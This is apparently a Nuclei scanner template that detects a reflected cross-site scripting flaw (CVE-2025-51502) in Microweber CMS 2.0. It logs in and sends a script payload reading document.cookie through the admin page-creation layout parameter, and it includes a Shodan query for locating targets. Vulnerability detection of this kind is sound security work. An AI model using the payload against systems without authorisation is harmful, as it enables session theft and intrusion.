CVE-2025-51502: Microweber CMS 2.0 - Reflected XSS in Admin Page Creation

id: CVE-2025-51502

info:
  name: Microweber CMS 2.0 - Reflected XSS in Admin Page Creation
  author: nukunga
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.
  reference:
    - https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51502
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51502
  metadata:
    verified: true
    max-requests: 2
    vendor: microweber
    product: microweber
    shodan-query: 'http.title:"Microweber"'
  tags: cve,cve2025,microweber,xss,authenticated

variables:
  xss_payload: "><script>alert(document.cookie)</script>"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}&lang=en_US&where_to=admin_content

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "success\":", "username\":")'
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/page/create?layout="{{xss_payload}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><script>alert(document.cookie)</script>")'
        condition: and
# digest: 4a0a00473045022100f2e701f2de176b237191c657e018d9289d11bf26eeb2d08d6d015ebacb10013702202faee943c30fe0ccec4a92e0d484ccfb47490df3f4224ee2de7f9ffe033b8638:922c64590222798bb761d5b6d8e72950